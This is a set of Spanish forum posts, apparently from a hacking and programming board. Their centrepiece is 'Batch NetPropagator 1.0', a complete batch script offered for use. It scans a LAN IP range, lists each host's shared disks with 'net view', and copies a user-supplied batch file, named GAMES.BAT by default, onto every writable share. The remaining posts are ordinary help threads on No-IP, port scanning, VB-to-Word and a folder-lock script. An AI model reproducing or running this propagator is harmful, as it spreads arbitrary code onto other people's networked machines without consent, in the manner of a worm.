Mensajes

.lib??
La extensión, de que clase de archivo es?

SaluDOS!!!

Por la VPN no creo..
yo uso No-Ip solo tienes que configurarlo bien para que dirija bien la info, si no esta bien configurado el No-IP pone la IP de tu Router, por esa razon a veces no funciona..

Ahora no tengo el no-ip a mano, asi que no recuerdo bien como era, solo recuerdo que habian 2 opciones (creo) que habia que activar para que funcione bien..

SaluDOS!!!
PD: Al fin alguien que tambien vive en Bolivia..,pense que yo era el unico !!!

Creo que sale muy lento..
pero esta bueno para comenzar por ahi asta llegar ha construir uno mas rapido
yo lo uso creando matrizes de Winsocks, escanea asta 100 puertos por 3 segundos...
haber si lo hago de nuevo y posteo.

Igual esta muy bien..
SaluDOS!!!

La parte de for.. es la que vuelve tu procesador mas rapido ya que lo haces trabajar demasiado seguido y rapido, lo que deberias de hacer es algunas pequeñas pausas al menos 100 milisegundos, podrias hacerlo cambiando el Interval del timer, si no tambien podrias hacer pequeñas pausas con Sleep que esta en la API Guide...
Ahora no estoy en mi  PC asi que no puedo darte un ejemplo..
SaluDOS!!!

[Batch NetPropagator 1.0 BY 3D1]

Batch NetPropagator 1.0 BY 3D1

Bueno, como su nombre dice, esta es una aplicacion echa totalmente en Batch (No use VBS XD) Que propaga..
nuestro Batch atraves de toda nuestra Red sea lan o de dominio, por el momento es una version Beta..
ya le incluire mas opciones despues...

Ahora lo que hace es copiar el code de nuestro batch atraves de todas las carpetas compartidas de las PCs que estan en nuestra Red..
Como es BETA tiene pequeños inconvenientes, pero no afectan en nada el funcionamiento..
Aclarando algunas cosas antes de ver el code:
El Batch pide que se ingrese el tipo de direccion IP, por el momento si o si debemos de introducir 3 digitos en cada caja de texto..
Osea si quiero copiar el bacth a todo el rango de este tipo de ip:

192.168.1.X

Entonces en el Batch se usara asi:

192.168.001.X

Espero se haya entendido, y la "X" ya viene no es nesesario escribirla..

Bueno sin mas que decir, dejo el code, y ya pueden postear sus comentarios, dudas o lo que sea 

Código (dos) [Seleccionar] Expandir

@Echo Off
@Title .:: Batch NetPropagator 1.0 BY 3D1 ::.
@Mode con cols=44 Lines=15
@Color 0A
If Exist Report.txt (Del /Q Report.txt>nul 2>&1)
If Exist Key.exe (Del /Q Key.exe >Nul 2>&1)
If Exist Keyboard.dat (Del /Q Keyboard.dat>nul 2>&1)
(
Echo ^(
echo Echo n keyboard.dat
echo Echo e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo Echo e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo Echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo Echo rcx
echo Echo 002E
echo Echo w0
echo Echo q
Echo ^)^|Debug
Echo Ren keyboard.dat Key.exe
Echo Del %%0
Echo Exit
)>AddK.bat
Start /MIN Cmd /c Addk.bat
CLS
Echo Please Wait...
Ping -n 2 0.0.0.0>nul 2>&1
Mode con cols=44 Lines=15
:new
Set "Txt="
Set "ips="
Set "ip="
Set /a uip=255
Set /a iip=0
Set Sp=                    ....
Set "ip0="
:form
Set "ipt=%ip0%%Sp%"
Set "ip1=%ipt:~0,3%"
Set "ip2=%ipt:~3,3%"
Set "ip3=%ipt:~6,3%"
Cls
Echo.
Echo.
Echo          ESCRIBA LA DIRECCION IP:
ECHO.
ECHO          ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ» ÉÍÍÍ»
echo          º%ip1%º.º%ip2%º.º%ip3%º.º * º
Echo          ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ ÈÍÍͼ
echo.
echo.
echo.
echo  Copyright (3D1) 2009 - Derechos reservados
echo  îîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîîî
echo            Hacking And Security
echo            îîîîîîîîîîîîîîîîîîîî
Key
IF %ERRORLEVEL% == 48 (set ip0=%ip0%0)
IF %ERRORLEVEL% == 49 (set ip0=%ip0%1)
IF %ERRORLEVEL% == 50 (set ip0=%ip0%2)
IF %ERRORLEVEL% == 51 (set ip0=%ip0%3)
IF %ERRORLEVEL% == 52 (set ip0=%ip0%4)
IF %ERRORLEVEL% == 53 (set ip0=%ip0%5)
IF %ERRORLEVEL% == 54 (set ip0=%ip0%6)
IF %ERRORLEVEL% == 55 (set ip0=%ip0%7)
IF %ERRORLEVEL% == 56 (set ip0=%ip0%8)
IF %ERRORLEVEL% == 57 (set ip0=%ip0%9)
IF %ERRORLEVEL% == 27 (Exit)
IF %ERRORLEVEL% == 13 (Set ip=%ip1%.%ip2%.%ip3%&CLS&Goto :Code)
IF %ERRORLEVEL% == 8 (SET ip0=<NUL&&set ip0=%ip0:~0,-1%)
Goto :form
:Code
Mode Con Cols=80 Lines=25

Set "nameb=GAMES.BAT"

If Exist "%nameb%" (Del /Q "%nameb%" >nul 2>&1)
CLS
Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ  Batch NetPropagator 1.0 BY 3D1 [BETA]
Echo.
Echo       Escriba o pegue el codigo fuente del batch que se copiara a los..
Echo       Archivos compartidos de los Equipos de su Red..
Echo.
Echo       Para Terminar presione [Ctrl + Z]+[Enter]
Echo       Nombre Predeterminado  [GAMES.bat]
Echo ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
Copy Con "%nameb%" >nul 2>&1
If Not Exist "%nameb%" (Goto :Code)
Echo.
Set /P"=> Estas Seguro que deseas Guardar el Code? [Y/N]"<nul
:stas
Key
if "%errorlevel%" == "121" (Goto :Bucle)
if "%errorlevel%" == "89" (Goto :Bucle)
if "%errorlevel%" == "110" (Goto :Code)
if "%errorlevel%" == "78" (Goto :Code)
Goto :stas
:Bucle
Mode con cols=45 Lines=16
Cls
ping -n 1 -w 0 %ip%.%iip%|Find "perdidos)">STATEIP.DAT
Set /p state=<STATEIP.DAT
If Exist STATEIP.DAT (Del /Q STATEIP.DAT>nul 2>&1)
If "%state%" == "    (0%% perdidos)," (Echo Conect to: %ip%.%iip%&Echo Conect to: %ip%.%iip%>>Report.txt&Set "ips=%ip%.%iip%"&Call :netview)
If "%iip%" NEQ "%uip%" (
Set /a iip=%iip%+1
Goto :Bucle
)
If Exist Report.txt (Start Notepad Report.txt)
Echo.
Set /p"=>Presione Tecla para Salir [KEY]"<nul
Pause>nul
Goto :Eof

:netview
If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
For /f "Tokens=*" %%_ in ('Net View \\%ips% 2^>^&1^|Find "Disco"') do (
for %%A in (%%_) do (
if "%%A" NEQ "Disco" (
Set /p=%%A >>GetFileName.dat<nul
Ping -n 0 0.0.0.0>nul
)
)
Call :add
)
Goto :eof
:add
Set /p F=<GetFileName.dat
If Exist "\\%ips%\%F% " (
Echo  + Copy To : %F%
Copy "%nameb%" "\\%ips%\%F:~0,-1%" >nul 2>&1
Echo  + Copy To : %F%>>Report.txt
) ELSE (
Echo  - Copy Not: %F%
Echo  - Copy Not: %F%>>Report.txt
)
If Exist GetFileName.dat (Del /Q GetFileName.dat>nul 2>&1)
Goto :eof
El Batch copia por ejemplo en un rango asi: 192.168.000.1 asta 192.168.000.255 y la verdad es rapido..
verifica si la IP existe o no, para hacer mas rapido el code..
y crea un "Report.txt" con los reportes de cada coneXion y ha que carpetas se copio y ha cuales no..

Ha y se me olvidaba si desean parar el Batch preionar las teclas Ctrl + C..
Espero les guste.., espero sus comentarios..
SaluDOS!!!   

Si como dijo Darioxhcx
Eso es rem, añadiendo que es igual ha poner ":: Comentario" o "Rem Comentario"
SaluDOS!!!

Exacto, ese es el problema, es decir, cuanto tarda en cerrarse el programa, ya que al enviar ALT+F4 vuelve a comenzar, y si no se cerró puede hacer cualquier cosa 

Igualmente ya encontré el problema, y no es de code  , por lo visto el script mata su propio mensaje, no pone el foco adecuadamente cuando envía el ALT+F4, cambia el valor de foco a true, pero no lo pone en foco!!
Versión de win? me da problemas con el SP3, pero no con el SP2 

Saludos

Ya estoy trabajando en otro Script usare APIs con el Objecto excel.application parece mucho mejor..
y que raro yo lo pruebo con Sp3 y funciona...
SaluDOS!!!

para: ranslsad
gracias por contestar, pero no es esto lo que busco, lo que yo quiero hacer es pasar de visual basic a word, que en word me salga NOMBRE que previamente ya he hecho yo una plantilla y que los datos que rellene en el formulario de visual me aparezcan en la plantilla de word.
Algo parcido a esto:
http://www.ajpdsoft.com/modules.php?name=News&file=article&sid=251
GRACIAS.

En la Web que mensionas esta bien explicado.., entonces cual es la duda que tienes
Postea la parte que no entiendes asi te explicamos..
SaluDOS!!!

hola!, estuve probando el code para denegar el acceso a una carpeta o archivo y pedir una pass, y cuando ejecuto el .exe o la carpeta, me abre al ventana de que esta bloqueado y si quiero desbloquearlo , pero entra en un bucle infinito, y empieza a repetir la ventana donde pregunta lo anterior, escribiendo "&percent" en cada ventana, primero pense que estaba mal el nombre de la carpeta, pero no, la carpeta se llamaba "hola"  ..... eso queria aportar !, nose porke sera porke no se casi nada de vbs.....

saludos el code esta muy bueno, pero si funcionara bien seria mucho mejor (no es que este exjiendo nada), solo digo que puede ser muy util para mucho de nosotros =)

saludos

Pues debi decir que en EXEs no funciona bien del todo, este code solo manda las teclas Alt + F4 y si no cierra vuelve a salir el mensaje, algunos ejecutables no se cierran con un Alt + F4..
Usalo mejor solo con carpetas..
SaluDOS!!!

No es eso.., es que estoy en Modo a Prueba de Fallos desde hace dias lo estoy usando asi..
Por esa razon creo que es...
Bueno no importa lo probare en otro PC cuando pueda..
Esta muy bien el code..
SaluDOS!!!